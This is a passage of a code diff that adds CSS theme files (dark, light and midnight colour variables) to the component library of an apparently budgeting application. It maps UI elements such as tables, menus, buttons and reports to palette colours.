--color-budgetNumberZero: var(--color-tableTextSubdued);
|
||||
--color-budgetNumberNeutral: var(--color-tableText);
|
||||
--color-budgetNumberPositive: var(--color-budgetNumberNeutral);
|
||||
--color-templateNumberFunded: var(--color-numberPositive);
|
||||
--color-templateNumberUnderFunded: var(--palette-orange300);
|
||||
--color-toBudgetPositive: var(--color-numberPositive);
|
||||
--color-toBudgetZero: var(--color-numberPositive);
|
||||
--color-toBudgetNegative: var(--color-budgetNumberNegative);
|
||||
|
||||
--color-sidebarBackground: var(--palette-navy900);
|
||||
--color-sidebarItemBackgroundPending: var(--palette-orange200);
|
||||
--color-sidebarItemBackgroundPositive: var(--palette-green500);
|
||||
--color-sidebarItemBackgroundFailed: var(--palette-red300);
|
||||
--color-sidebarItemAccentSelected: var(--palette-purple200);
|
||||
--color-sidebarItemBackgroundHover: var(--palette-navy700);
|
||||
--color-sidebarItemText: var(--palette-navy150);
|
||||
--color-sidebarItemTextSelected: var(--palette-purple200);
|
||||
--color-sidebarBudgetName: var(--palette-navy300);
|
||||
|
||||
--color-menuBackground: var(--palette-navy800);
|
||||
--color-menuItemBackground: var(--palette-navy800);
|
||||
--color-menuItemBackgroundHover: var(--palette-navy500);
|
||||
--color-menuItemText: var(--palette-navy100);
|
||||
--color-menuItemTextHover: var(--palette-navy50);
|
||||
--color-menuItemTextSelected: var(--palette-purple400);
|
||||
--color-menuItemTextHeader: var(--palette-purple200);
|
||||
--color-menuBorder: var(--palette-navy900);
|
||||
--color-menuBorderHover: var(--palette-purple400);
|
||||
--color-menuKeybindingText: var(--palette-purple200);
|
||||
--color-menuAutoCompleteBackground: var(--palette-navy900);
|
||||
--color-menuAutoCompleteBackgroundHover: var(--palette-navy600);
|
||||
--color-menuAutoCompleteText: var(--palette-navy200);
|
||||
--color-menuAutoCompleteTextHeader: var(--palette-purple200);
|
||||
--color-menuAutoCompleteItemText: var(--color-menuItemText);
|
||||
|
||||
--color-modalBackground: var(--palette-gray800);
|
||||
--color-modalBorder: var(--palette-navy600);
|
||||
--color-mobileHeaderBackground: var(--palette-purple800);
|
||||
--color-mobileHeaderText: var(--palette-navy150);
|
||||
--color-mobileHeaderTextSubdued: var(--palette-gray200);
|
||||
--color-mobileHeaderTextHover: rgba(200, 200, 200, 0.15);
|
||||
--color-mobilePageBackground: var(--palette-navy700);
|
||||
--color-mobileNavBackground: var(--palette-navy800);
|
||||
--color-mobileNavItem: var(--palette-navy150);
|
||||
--color-mobileNavItemSelected: var(--palette-purple400);
|
||||
--color-mobileAccountShadow: var(--color-cardShadow);
|
||||
--color-mobileAccountText: var(--palette-blue800);
|
||||
--color-mobileTransactionSelected: var(--palette-purple400);
|
||||
|
||||
--color-mobileViewTheme: var(--color-mobileHeaderBackground);
|
||||
--color-mobileConfigServerViewTheme: var(--palette-purple500);
|
||||
|
||||
--color-markdownNormal: var(--palette-purple700);
|
||||
--color-markdownDark: var(--palette-purple500);
|
||||
--color-markdownLight: var(--palette-purple800);
|
||||
|
||||
--color-buttonMenuText: var(--palette-navy200);
|
||||
--color-buttonMenuTextHover: var(--color-buttonMenuText);
|
||||
--color-buttonMenuBackground: transparent;
|
||||
--color-buttonMenuBackgroundHover: rgba(200, 200, 200, 0.25);
|
||||
--color-buttonMenuBorder: var(--palette-navy500);
|
||||
--color-buttonMenuSelectedText: var(--palette-green800);
|
||||
--color-buttonMenuSelectedTextHover: var(--palette-orange800);
|
||||
--color-buttonMenuSelectedBackground: var(--palette-orange200);
|
||||
--color-buttonMenuSelectedBackgroundHover: var(--palette-orange300);
|
||||
--color-buttonMenuSelectedBorder: var(--color-buttonMenuSelectedBackground);
|
||||
|
||||
--color-buttonPrimaryText: var(--palette-white);
|
||||
--color-buttonPrimaryTextHover: var(--color-buttonPrimaryText);
|
||||
--color-buttonPrimaryBackground: var(--palette-purple400);
|
||||
--color-buttonPrimaryBackgroundHover: var(--palette-purple600);
|
||||
--color-buttonPrimaryBorder: var(--color-buttonPrimaryBackground);
|
||||
--color-buttonPrimaryShadow: rgba(0, 0, 0, 0.6);
|
||||
--color-buttonPrimaryDisabledText: var(--palette-navy700);
|
||||
--color-buttonPrimaryDisabledBackground: var(--palette-navy400);
|
||||
--color-buttonPrimaryDisabledBorder: var(
|
||||
--color-buttonPrimaryDisabledBackground
|
||||
);
|
||||
|
||||
--color-buttonNormalText: var(--palette-navy150);
|
||||
--color-buttonNormalTextHover: var(--palette-navy150);
|
||||
--color-buttonNormalBackground: var(--palette-navy800);
|
||||
--color-buttonNormalBackgroundHover: var(--palette-navy600);
|
||||
--color-buttonNormalBorder: var(--palette-navy300);
|
||||
--color-buttonNormalShadow: rgba(0, 0, 0, 0.4);
|
||||
--color-buttonNormalSelectedText: var(--palette-white);
|
||||
--color-buttonNormalSelectedBackground: var(--palette-purple600);
|
||||
--color-buttonNormalDisabledText: var(--palette-navy500);
|
||||
--color-buttonNormalDisabledBackground: var(--palette-navy800);
|
||||
--color-buttonNormalDisabledBorder: var(--palette-navy500);
|
||||
|
||||
--color-calendarText: var(--palette-navy50);
|
||||
--color-calendarBackground: var(--palette-navy900);
|
||||
--color-calendarItemText: var(--palette-navy150);
|
||||
--color-calendarItemBackground: var(--palette-navy800);
|
||||
--color-calendarSelectedBackground: var(
|
||||
--color-buttonNormalSelectedBackground
|
||||
);
|
||||
|
||||
--color-buttonBareText: var(--color-buttonNormalText);
|
||||
--color-buttonBareTextHover: var(--color-buttonNormalText);
|
||||
--color-buttonBareBackground: transparent;
|
||||
--color-buttonBareBackgroundHover: rgba(200, 200, 200, 0.3);
|
||||
--color-buttonBareBackgroundActive: rgba(200, 200, 200, 0.5);
|
||||
--color-buttonBareDisabledText: var(--color-buttonNormalDisabledText);
|
||||
--color-buttonBareDisabledBackground: var(--color-buttonBareBackground);
|
||||
|
||||
--color-noticeBackground: var(--palette-green800);
|
||||
--color-noticeBackgroundLight: var(--palette-green900);
|
||||
--color-noticeBackgroundDark: var(--palette-green500);
|
||||
--color-noticeText: var(--palette-green300);
|
||||
--color-noticeTextLight: var(--palette-green500);
|
||||
--color-noticeTextDark: var(--palette-green150);
|
||||
--color-noticeTextMenu: var(--palette-green500);
|
||||
--color-noticeBorder: var(--palette-green800);
|
||||
--color-warningBackground: var(--palette-orange800);
|
||||
--color-warningText: var(--palette-orange300);
|
||||
--color-warningTextLight: var(--palette-orange500);
|
||||
--color-warningTextDark: var(--palette-orange100);
|
||||
--color-warningBorder: var(--palette-orange500);
|
||||
--color-errorBackground: var(--palette-red800);
|
||||
--color-errorText: var(--palette-red200);
|
||||
--color-errorTextDark: var(--palette-red150);
|
||||
--color-errorTextDarker: var(--color-errorTextDark);
|
||||
--color-errorTextMenu: var(--palette-red200);
|
||||
--color-errorBorder: var(--palette-red500);
|
||||
--color-upcomingBackground: var(--palette-purple700);
|
||||
--color-upcomingText: var(--palette-purple100);
|
||||
--color-upcomingBorder: var(--color-tableBorder);
|
||||
|
||||
--color-formLabelText: var(--palette-purple150);
|
||||
--color-formLabelBackground: var(--palette-blue900);
|
||||
--color-formInputBackground: var(--palette-navy800);
|
||||
--color-formInputBackgroundSelected: var(--palette-navy700);
|
||||
--color-formInputBackgroundSelection: var(--palette-purple400);
|
||||
--color-formInputBorder: var(--palette-navy600);
|
||||
--color-formInputTextReadOnlySelection: var(--palette-navy800);
|
||||
--color-formInputBorderSelected: var(--palette-purple400);
|
||||
--color-formInputText: var(--palette-navy150);
|
||||
--color-formInputTextSelected: var(--palette-black);
|
||||
--color-formInputTextPlaceholder: var(--palette-navy150);
|
||||
--color-formInputTextPlaceholderSelected: var(--palette-navy100);
|
||||
--color-formInputTextSelection: var(--palette-navy800);
|
||||
--color-formInputShadowSelected: var(--palette-purple200);
|
||||
--color-formInputTextHighlight: var(--palette-purple400);
|
||||
--color-checkboxText: var(--color-tableText);
|
||||
--color-checkboxBackgroundSelected: var(--palette-purple300);
|
||||
--color-checkboxBorderSelected: var(--palette-purple300);
|
||||
--color-checkboxShadowSelected: var(--palette-purple500);
|
||||
--color-checkboxToggleBackground: var(--palette-gray700);
|
||||
--color-checkboxToggleBackgroundSelected: var(--palette-purple300);
|
||||
--color-checkboxToggleDisabled: var(--palette-gray400);
|
||||
|
||||
--color-pillBackground: var(--palette-navy800);
|
||||
--color-pillBackgroundLight: var(--palette-navy900);
|
||||
--color-pillText: var(--palette-navy200);
|
||||
--color-pillTextHighlighted: var(--palette-purple200);
|
||||
--color-pillBorder: var(--palette-navy700);
|
||||
--color-pillBorderDark: var(--color-pillBorder);
|
||||
--color-pillBackgroundSelected: var(--palette-purple600);
|
||||
--color-pillTextSelected: var(--palette-navy150);
|
||||
--color-pillBorderSelected: var(--palette-purple400);
|
||||
--color-pillTextSubdued: var(--palette-navy500);
|
||||
|
||||
--color-reportsRed: var(--palette-red300);
|
||||
--color-reportsBlue: var(--palette-blue400);
|
||||
--color-reportsGreen: var(--palette-green400);
|
||||
--color-reportsGray: var(--palette-gray400);
|
||||
--color-reportsLabel: var(--color-pageText);
|
||||
--color-reportsInnerLabel: var(--palette-navy800);
|
||||
--color-reportsNumberPositive: var(--color-numberPositive);
|
||||
--color-reportsNumberNegative: var(--color-numberNegative);
|
||||
--color-reportsNumberNeutral: var(--color-numberNeutral);
|
||||
--color-reportsChartFill: var(--color-reportsNumberPositive);
|
||||
|
||||
--color-noteTagBackground: var(--palette-purple700);
|
||||
--color-noteTagBackgroundHover: var(--palette-purple500);
|
||||
--color-noteTagDefault: var(--palette-purple700);
|
||||
--color-noteTagText: var(--palette-purple100);
|
||||
|
||||
--color-budgetOtherMonth: var(--palette-navy900);
|
||||
--color-budgetCurrentMonth: var(--color-tableBackground);
|
||||
--color-budgetHeaderOtherMonth: var(--palette-navy800);
|
||||
--color-budgetHeaderCurrentMonth: var(--color-tableHeaderBackground);
|
||||
|
||||
--color-floatingActionBarBackground: var(--palette-purple800);
|
||||
--color-floatingActionBarBorder: var(--color-floatingActionBarBackground);
|
||||
--color-floatingActionBarText: var(--palette-navy150);
|
||||
|
||||
--color-tooltipText: var(--palette-navy100);
|
||||
--color-tooltipBackground: var(--palette-navy800);
|
||||
--color-tooltipBorder: var(--palette-navy700);
|
||||
|
||||
--color-calendarCellBackground: var(--palette-navy900);
|
||||
|
||||
--color-overlayBackground: rgba(0, 0, 0, 0.3);
|
||||
|
||||
--color-chartQual1: var(--palette-chartQual1);
|
||||
--color-chartQual2: var(--palette-chartQual2);
|
||||
--color-chartQual3: var(--palette-chartQual3);
|
||||
--color-chartQual4: var(--palette-chartQual4);
|
||||
--color-chartQual5: var(--palette-chartQual5);
|
||||
--color-chartQual6: var(--palette-chartQual6);
|
||||
--color-chartQual7: var(--palette-chartQual7);
|
||||
--color-chartQual8: var(--palette-chartQual8);
|
||||
--color-chartQual9: var(--palette-chartQual9);
|
||||
}
|
||||
250
packages/component-library/src/themes/light.css
Normal file
@@ -0,0 +1,250 @@
|
||||
:root {
|
||||
--color-pageBackground: var(--palette-navy100);
|
||||
--color-pageBackgroundModalActive: var(--palette-navy200);
|
||||
--color-pageBackgroundTopLeft: var(--palette-navy100);
|
||||
--color-pageBackgroundBottomRight: var(--palette-blue150);
|
||||
--color-pageBackgroundLineTop: var(--palette-white);
|
||||
--color-pageBackgroundLineMid: var(--palette-navy100);
|
||||
--color-pageBackgroundLineBottom: var(--palette-blue150);
|
||||
--color-pageText: #272630;
|
||||
--color-pageTextLight: var(--palette-navy500);
|
||||
--color-pageTextSubdued: var(--palette-navy300);
|
||||
--color-pageTextDark: var(--palette-navy800);
|
||||
--color-pageTextPositive: var(--palette-purple600);
|
||||
--color-pageTextLink: var(--palette-blue600);
|
||||
--color-pageTextLinkLight: var(--palette-blue300);
|
||||
|
||||
--color-cardBackground: var(--palette-white);
|
||||
--color-cardBorder: var(--palette-purple700);
|
||||
--color-cardShadow: var(--palette-navy700);
|
||||
|
||||
--color-tableBackground: var(--palette-white);
|
||||
--color-tableRowBackgroundHover: var(--palette-navy50);
|
||||
--color-tableText: var(--color-pageText);
|
||||
--color-tableTextLight: var(--palette-navy400);
|
||||
--color-tableTextSubdued: var(--palette-navy100);
|
||||
--color-tableTextSelected: var(--palette-navy700);
|
||||
--color-tableTextHover: var(--palette-navy900);
|
||||
--color-tableTextInactive: var(--palette-navy500);
|
||||
--color-tableHeaderText: var(--palette-navy600);
|
||||
--color-tableHeaderBackground: var(--palette-white);
|
||||
--color-tableBorder: var(--palette-navy100);
|
||||
--color-tableBorderSelected: var(--palette-purple500);
|
||||
--color-tableBorderHover: var(--palette-purple400);
|
||||
--color-tableBorderSeparator: var(--palette-navy400);
|
||||
--color-tableRowBackgroundHighlight: var(--palette-blue150);
|
||||
--color-tableRowBackgroundHighlightText: var(--palette-navy700);
|
||||
--color-tableRowHeaderBackground: var(--palette-navy50);
|
||||
--color-tableRowHeaderText: var(--palette-navy800);
|
||||
|
||||
--color-numberPositive: var(--palette-green700);
|
||||
--color-numberNegative: var(--palette-red500);
|
||||
--color-numberNeutral: var(--palette-navy100);
|
||||
--color-budgetNumberNegative: var(--color-numberNegative);
|
||||
--color-budgetNumberZero: var(--color-tableTextSubdued);
|
||||
--color-budgetNumberNeutral: var(--color-tableText);
|
||||
--color-budgetNumberPositive: var(--color-budgetNumberNeutral);
|
||||
--color-templateNumberFunded: var(--color-numberPositive);
|
||||
--color-templateNumberUnderFunded: var(--palette-orange700);
|
||||
--color-toBudgetPositive: var(--color-numberPositive);
|
||||
--color-toBudgetZero: var(--color-numberPositive);
|
||||
--color-toBudgetNegative: var(--color-budgetNumberNegative);
|
||||
|
||||
--color-sidebarBackground: var(--palette-navy900);
|
||||
--color-sidebarItemBackgroundPending: var(--palette-orange200);
|
||||
--color-sidebarItemBackgroundPositive: var(--palette-green500);
|
||||
--color-sidebarItemBackgroundFailed: var(--palette-red300);
|
||||
--color-sidebarItemBackgroundHover: var(--palette-navy800);
|
||||
--color-sidebarItemAccentSelected: var(--palette-purple200);
|
||||
--color-sidebarItemText: var(--palette-navy150);
|
||||
--color-sidebarItemTextSelected: var(--palette-purple200);
|
||||
--color-sidebarBudgetName: var(--palette-navy150);
|
||||
|
||||
--color-menuBackground: var(--palette-white);
|
||||
--color-menuItemBackground: var(--palette-navy50);
|
||||
--color-menuItemBackgroundHover: var(--palette-navy100);
|
||||
--color-menuItemText: var(--palette-navy900);
|
||||
--color-menuItemTextHover: var(--color-menuItemText);
|
||||
--color-menuItemTextSelected: var(--palette-purple300);
|
||||
--color-menuItemTextHeader: var(--palette-navy400);
|
||||
--color-menuBorder: var(--palette-navy100);
|
||||
--color-menuBorderHover: var(--palette-purple100);
|
||||
--color-menuKeybindingText: var(--palette-navy400);
|
||||
--color-menuAutoCompleteBackground: var(--palette-navy900);
|
||||
--color-menuAutoCompleteBackgroundHover: var(--palette-navy600);
|
||||
--color-menuAutoCompleteText: var(--palette-white);
|
||||
--color-menuAutoCompleteTextHover: var(--palette-green150);
|
||||
--color-menuAutoCompleteTextHeader: var(--palette-orange150);
|
||||
--color-menuAutoCompleteItemTextHover: var(--color-menuAutoCompleteText);
|
||||
--color-menuAutoCompleteItemText: var(--color-menuAutoCompleteText);
|
||||
|
||||
--color-modalBackground: var(--palette-white);
|
||||
--color-modalBorder: var(--palette-white);
|
||||
--color-mobileHeaderBackground: var(--palette-purple400);
|
||||
--color-mobileHeaderText: var(--palette-navy50);
|
||||
--color-mobileHeaderTextSubdued: var(--palette-gray200);
|
||||
--color-mobileHeaderTextHover: rgba(200, 200, 200, 0.15);
|
||||
--color-mobilePageBackground: var(--palette-navy50);
|
||||
--color-mobileNavBackground: var(--palette-white);
|
||||
--color-mobileNavItem: var(--palette-gray300);
|
||||
--color-mobileNavItemSelected: var(--palette-purple500);
|
||||
--color-mobileAccountShadow: var(--palette-navy300);
|
||||
--color-mobileAccountText: var(--palette-blue800);
|
||||
--color-mobileTransactionSelected: var(--palette-purple500);
|
||||
|
||||
--color-mobileViewTheme: var(--color-mobileHeaderBackground);
|
||||
--color-mobileConfigServerViewTheme: var(--palette-purple500);
|
||||
|
||||
--color-markdownNormal: var(--palette-purple150);
|
||||
--color-markdownDark: var(--palette-purple400);
|
||||
--color-markdownLight: var(--palette-purple100);
|
||||
|
||||
--color-buttonMenuText: var(--palette-navy100);
|
||||
--color-buttonMenuTextHover: var(--palette-navy50);
|
||||
--color-buttonMenuBackground: transparent;
|
||||
--color-buttonMenuBackgroundHover: rgba(200, 200, 200, 0.25);
|
||||
--color-buttonMenuBorder: var(--palette-navy500);
|
||||
--color-buttonMenuSelectedText: var(--palette-green800);
|
||||
--color-buttonMenuSelectedTextHover: var(--palette-orange800);
|
||||
--color-buttonMenuSelectedBackground: var(--palette-orange200);
|
||||
--color-buttonMenuSelectedBackgroundHover: var(--palette-orange300);
|
||||
--color-buttonMenuSelectedBorder: var(--color-buttonMenuSelectedBackground);
|
||||
|
||||
--color-buttonPrimaryText: var(--palette-white);
|
||||
--color-buttonPrimaryTextHover: var(--color-buttonPrimaryText);
|
||||
--color-buttonPrimaryBackground: var(--palette-purple500);
|
||||
--color-buttonPrimaryBackgroundHover: var(--palette-purple300);
|
||||
--color-buttonPrimaryBorder: var(--color-buttonPrimaryBackground);
|
||||
--color-buttonPrimaryShadow: rgba(0, 0, 0, 0.3);
|
||||
--color-buttonPrimaryDisabledText: var(--palette-white);
|
||||
--color-buttonPrimaryDisabledBackground: var(--palette-navy300);
|
||||
--color-buttonPrimaryDisabledBorder: var(
|
||||
--color-buttonPrimaryDisabledBackground
|
||||
);
|
||||
|
||||
--color-buttonNormalText: var(--palette-navy900);
|
||||
--color-buttonNormalTextHover: var(--color-buttonNormalText);
|
||||
--color-buttonNormalBackground: var(--palette-white);
|
||||
--color-buttonNormalBackgroundHover: var(--color-buttonNormalBackground);
|
||||
--color-buttonNormalBorder: var(--palette-navy150);
|
||||
--color-buttonNormalShadow: rgba(0, 0, 0, 0.2);
|
||||
--color-buttonNormalSelectedText: var(--palette-white);
|
||||
--color-buttonNormalSelectedBackground: var(--palette-blue600);
|
||||
--color-buttonNormalDisabledText: var(--palette-navy300);
|
||||
--color-buttonNormalDisabledBackground: var(--color-buttonNormalBackground);
|
||||
--color-buttonNormalDisabledBorder: var(--color-buttonNormalBorder);
|
||||
|
||||
--color-calendarText: var(--palette-navy50);
|
||||
--color-calendarBackground: var(--palette-navy900);
|
||||
--color-calendarItemText: var(--palette-navy150);
|
||||
--color-calendarItemBackground: var(--palette-navy800);
|
||||
--color-calendarSelectedBackground: var(--palette-navy500);
|
||||
|
||||
--color-buttonBareText: var(--color-buttonNormalText);
|
||||
--color-buttonBareTextHover: var(--color-buttonNormalText);
|
||||
--color-buttonBareBackground: transparent;
|
||||
--color-buttonBareBackgroundHover: rgba(100, 100, 100, 0.15);
|
||||
--color-buttonBareBackgroundActive: rgba(100, 100, 100, 0.25);
|
||||
--color-buttonBareDisabledText: var(--color-buttonNormalDisabledText);
|
||||
--color-buttonBareDisabledBackground: var(--color-buttonBareBackground);
|
||||
|
||||
--color-noticeBackground: var(--palette-green150);
|
||||
--color-noticeBackgroundLight: var(--palette-green100);
|
||||
--color-noticeBackgroundDark: var(--palette-green500);
|
||||
--color-noticeText: var(--palette-green700);
|
||||
--color-noticeTextLight: var(--palette-green500);
|
||||
--color-noticeTextDark: var(--palette-green900);
|
||||
--color-noticeTextMenu: var(--palette-green200);
|
||||
--color-noticeBorder: var(--palette-green500);
|
||||
--color-warningBackground: var(--palette-orange200);
|
||||
--color-warningText: var(--palette-orange700);
|
||||
--color-warningTextLight: var(--palette-orange500);
|
||||
--color-warningTextDark: var(--palette-orange900);
|
||||
--color-warningBorder: var(--palette-orange500);
|
||||
--color-errorBackground: var(--palette-red100);
|
||||
--color-errorText: var(--palette-red500);
|
||||
--color-errorTextDark: var(--palette-red700);
|
||||
--color-errorTextDarker: var(--palette-red900);
|
||||
--color-errorTextMenu: var(--palette-red200);
|
||||
--color-errorBorder: var(--palette-red500);
|
||||
--color-upcomingBackground: var(--palette-purple100);
|
||||
--color-upcomingText: var(--palette-purple700);
|
||||
--color-upcomingBorder: var(--palette-purple500);
|
||||
|
||||
--color-formLabelText: var(--palette-blue600);
|
||||
--color-formLabelBackground: var(--palette-blue200);
|
||||
--color-formInputBackground: var(--palette-navy50);
|
||||
--color-formInputBackgroundSelected: var(--palette-white);
|
||||
--color-formInputBackgroundSelection: var(--palette-purple500);
|
||||
--color-formInputBorder: var(--palette-navy150);
|
||||
--color-formInputTextReadOnlySelection: var(--palette-navy50);
|
||||
--color-formInputBorderSelected: var(--palette-purple500);
|
||||
--color-formInputText: var(--palette-navy900);
|
||||
--color-formInputTextSelected: var(--palette-navy50);
|
||||
--color-formInputTextPlaceholder: var(--palette-navy300);
|
||||
--color-formInputTextPlaceholderSelected: var(--palette-navy200);
|
||||
--color-formInputTextSelection: var(--palette-navy100);
|
||||
--color-formInputShadowSelected: var(--palette-purple300);
|
||||
--color-formInputTextHighlight: var(--palette-purple200);
|
||||
--color-checkboxText: var(--color-tableBackground);
|
||||
--color-checkboxBackgroundSelected: var(--palette-blue500);
|
||||
--color-checkboxBorderSelected: var(--palette-blue500);
|
||||
--color-checkboxShadowSelected: var(--palette-blue300);
|
||||
--color-checkboxToggleBackground: var(--palette-gray400);
|
||||
--color-checkboxToggleBackgroundSelected: var(--palette-purple600);
|
||||
--color-checkboxToggleDisabled: var(--palette-gray200);
|
||||
|
||||
--color-pillBackground: var(--palette-navy150);
|
||||
--color-pillBackgroundLight: var(--palette-navy50);
|
||||
--color-pillText: var(--palette-navy800);
|
||||
--color-pillTextHighlighted: var(--palette-purple600);
|
||||
--color-pillBorder: var(--palette-navy150);
|
||||
--color-pillBorderDark: var(--palette-navy300);
|
||||
--color-pillBackgroundSelected: var(--palette-blue150);
|
||||
--color-pillTextSelected: var(--palette-blue900);
|
||||
--color-pillBorderSelected: var(--palette-purple500);
|
||||
--color-pillTextSubdued: var(--palette-navy200);
|
||||
|
||||
--color-reportsRed: var(--palette-red300);
|
||||
--color-reportsBlue: var(--palette-blue400);
|
||||
--color-reportsGreen: var(--palette-green400);
|
||||
--color-reportsGray: var(--palette-gray400);
|
||||
--color-reportsLabel: var(--palette-navy900);
|
||||
--color-reportsInnerLabel: var(--palette-navy800);
|
||||
--color-reportsNumberPositive: var(--color-numberPositive);
|
||||
--color-reportsNumberNegative: var(--color-numberNegative);
|
||||
--color-reportsNumberNeutral: var(--color-numberNeutral);
|
||||
--color-reportsChartFill: var(--color-reportsNumberPositive);
|
||||
|
||||
--color-noteTagBackground: var(--palette-purple125);
|
||||
--color-noteTagBackgroundHover: var(--palette-purple150);
|
||||
--color-noteTagDefault: var(--palette-purple125);
|
||||
--color-noteTagText: var(--palette-black);
|
||||
|
||||
--color-budgetCurrentMonth: var(--color-tableBackground);
|
||||
--color-budgetOtherMonth: var(--palette-gray50);
|
||||
--color-budgetHeaderCurrentMonth: var(--color-budgetOtherMonth);
|
||||
--color-budgetHeaderOtherMonth: var(--palette-gray80);
|
||||
|
||||
--color-floatingActionBarBackground: var(--palette-purple400);
|
||||
--color-floatingActionBarBorder: var(--color-floatingActionBarBackground);
|
||||
--color-floatingActionBarText: var(--palette-navy50);
|
||||
|
||||
--color-tooltipText: var(--palette-navy900);
|
||||
--color-tooltipBackground: var(--palette-white);
|
||||
--color-tooltipBorder: var(--palette-navy150);
|
||||
|
||||
--color-calendarCellBackground: var(--palette-navy100);
|
||||
|
||||
--color-overlayBackground: rgba(0, 0, 0, 0.3);
|
||||
|
||||
--color-chartQual1: var(--palette-chartQual1);
|
||||
--color-chartQual2: var(--palette-chartQual2);
|
||||
--color-chartQual3: var(--palette-chartQual3);
|
||||
--color-chartQual4: var(--palette-chartQual4);
|
||||
--color-chartQual5: var(--palette-chartQual5);
|
||||
--color-chartQual6: var(--palette-chartQual6);
|
||||
--color-chartQual7: var(--palette-chartQual7);
|
||||
--color-chartQual8: var(--palette-chartQual8);
|
||||
--color-chartQual9: var(--palette-chartQual9);
|
||||
}
|
||||
252
packages/component-library/src/themes/midnight.css
Normal file
@@ -0,0 +1,252 @@
|
||||
:root {
|
||||
--color-pageBackground: var(--palette-gray600);
|
||||
--color-pageBackgroundModalActive: var(--palette-gray700);
|
||||
--color-pageBackgroundTopLeft: var(--palette-gray800);
|
||||
--color-pageBackgroundBottomRight: var(--palette-gray700);
|
||||
--color-pageBackgroundLineTop: var(--palette-purple300);
|
||||
--color-pageBackgroundLineMid: var(--palette-gray900);
|
||||
--color-pageBackgroundLineBottom: var(--palette-gray150);
|
||||
--color-pageText: var(--palette-gray100);
|
||||
--color-pageTextLight: var(--palette-gray200);
|
||||
--color-pageTextSubdued: var(--palette-gray400);
|
||||
--color-pageTextDark: var(--palette-gray100);
|
||||
--color-pageTextPositive: var(--palette-purple200);
|
||||
--color-pageTextLink: var(--palette-purple300);
|
||||
--color-pageTextLinkLight: var(--palette-purple300);
|
||||
|
||||
--color-cardBackground: var(--palette-gray800);
|
||||
--color-cardBorder: var(--palette-purple300);
|
||||
--color-cardShadow: var(--palette-gray900);
|
||||
|
||||
--color-tableBackground: var(--palette-gray800);
|
||||
--color-tableRowBackgroundHover: var(--palette-gray500);
|
||||
--color-tableText: var(--palette-gray150);
|
||||
--color-tableTextLight: var(--color-tableText);
|
||||
--color-tableTextSubdued: var(--palette-gray500);
|
||||
--color-tableTextSelected: var(--palette-gray800);
|
||||
--color-tableTextHover: var(--palette-gray400);
|
||||
--color-tableTextInactive: var(--palette-gray400);
|
||||
--color-tableHeaderText: var(--palette-gray200);
|
||||
--color-tableHeaderBackground: var(--palette-gray900);
|
||||
--color-tableBorder: var(--palette-gray600);
|
||||
--color-tableBorderSelected: var(--palette-purple400);
|
||||
--color-tableBorderHover: var(--palette-purple300);
|
||||
--color-tableBorderSeparator: var(--palette-gray400);
|
||||
--color-tableRowBackgroundHighlight: var(--palette-purple150);
|
||||
--color-tableRowBackgroundHighlightText: var(--palette-gray800);
|
||||
--color-tableRowHeaderBackground: var(--palette-gray700);
|
||||
--color-tableRowHeaderText: var(--palette-gray150);
|
||||
|
||||
--color-numberPositive: var(--palette-green300);
|
||||
--color-numberNegative: var(--palette-red200);
|
||||
--color-numberNeutral: var(--palette-gray500);
|
||||
--color-budgetNumberNegative: var(--color-numberNegative);
|
||||
--color-budgetNumberZero: var(--color-tableTextSubdued);
|
||||
--color-budgetNumberNeutral: var(--color-tableText);
|
||||
--color-budgetNumberPositive: var(--color-budgetNumberNeutral);
|
||||
--color-templateNumberFunded: var(--color-numberPositive);
|
||||
--color-templateNumberUnderFunded: var(--palette-orange200);
|
||||
--color-toBudgetPositive: var(--color-numberPositive);
|
||||
--color-toBudgetZero: var(--color-numberPositive);
|
||||
--color-toBudgetNegative: var(--color-budgetNumberNegative);
|
||||
|
||||
--color-sidebarBackground: var(--palette-gray900);
|
||||
--color-sidebarItemBackgroundPending: var(--palette-orange200);
|
||||
--color-sidebarItemBackgroundPositive: var(--palette-green400);
|
||||
--color-sidebarItemBackgroundFailed: var(--palette-red300);
|
||||
--color-sidebarItemAccentSelected: var(--palette-purple200);
|
||||
--color-sidebarItemBackgroundHover: var(--palette-gray700);
|
||||
--color-sidebarItemText: var(--palette-gray100);
|
||||
--color-sidebarItemTextSelected: var(--palette-purple200);
|
||||
--color-sidebarBudgetName: var(--palette-gray300);
|
||||
|
||||
--color-menuBackground: var(--palette-gray700);
|
||||
--color-menuItemBackground: var(--palette-gray200);
|
||||
--color-menuItemBackgroundHover: var(--palette-gray500);
|
||||
--color-menuItemText: var(--palette-gray100);
|
||||
--color-menuItemTextHover: var(--palette-gray50);
|
||||
--color-menuItemTextSelected: var(--palette-purple400);
|
||||
--color-menuItemTextHeader: var(--palette-purple200);
|
||||
--color-menuBorder: var(--palette-gray800);
|
||||
--color-menuBorderHover: var(--palette-purple300);
|
||||
--color-menuKeybindingText: var(--palette-purple200);
|
||||
--color-menuAutoCompleteBackground: var(--palette-gray600);
|
||||
--color-menuAutoCompleteBackgroundHover: var(--palette-gray500);
|
||||
--color-menuAutoCompleteText: var(--palette-gray100);
|
||||
--color-menuAutoCompleteTextHover: var(--palette-green400);
|
||||
--color-menuAutoCompleteTextHeader: var(--palette-purple200);
|
||||
--color-menuAutoCompleteItemTextHover: var(--palette-gray50);
|
||||
--color-menuAutoCompleteItemText: var(--color-menuItemText);
|
||||
--color-modalBackground: var(--palette-gray700);
|
||||
--color-modalBorder: var(--palette-gray200);
|
||||
--color-mobileHeaderBackground: var(--palette-gray900);
|
||||
--color-mobileHeaderText: var(--palette-purple200);
|
||||
--color-mobileHeaderTextSubdued: var(--palette-gray200);
|
||||
--color-mobileHeaderTextHover: rgba(200, 200, 200, 0.15);
|
||||
--color-mobilePageBackground: var(--palette-gray900);
|
||||
--color-mobileNavBackground: var(--palette-gray600);
|
||||
--color-mobileNavItem: var(--palette-gray150);
|
||||
--color-mobileNavItemSelected: var(--palette-purple200);
|
||||
--color-mobileAccountShadow: var(--color-cardShadow);
|
||||
--color-mobileAccountText: var(--palette-blue800);
|
||||
--color-mobileTransactionSelected: var(--palette-purple300);
|
||||
|
||||
--color-mobileViewTheme: var(--color-mobileHeaderBackground);
|
||||
--color-mobileConfigServerViewTheme: var(--palette-purple500);
|
||||
|
||||
--color-markdownNormal: var(--palette-purple700);
|
||||
--color-markdownDark: var(--palette-purple500);
|
||||
--color-markdownLight: var(--palette-purple800);
|
||||
|
||||
--color-buttonMenuText: var(--palette-gray200);
|
||||
--color-buttonMenuTextHover: var(--color-buttonMenuText);
|
||||
--color-buttonMenuBackground: var(--palette-gray700);
|
||||
--color-buttonMenuBackgroundHover: rgba(200, 200, 200, 0.25);
|
||||
--color-buttonMenuBorder: var(--palette-gray500);
|
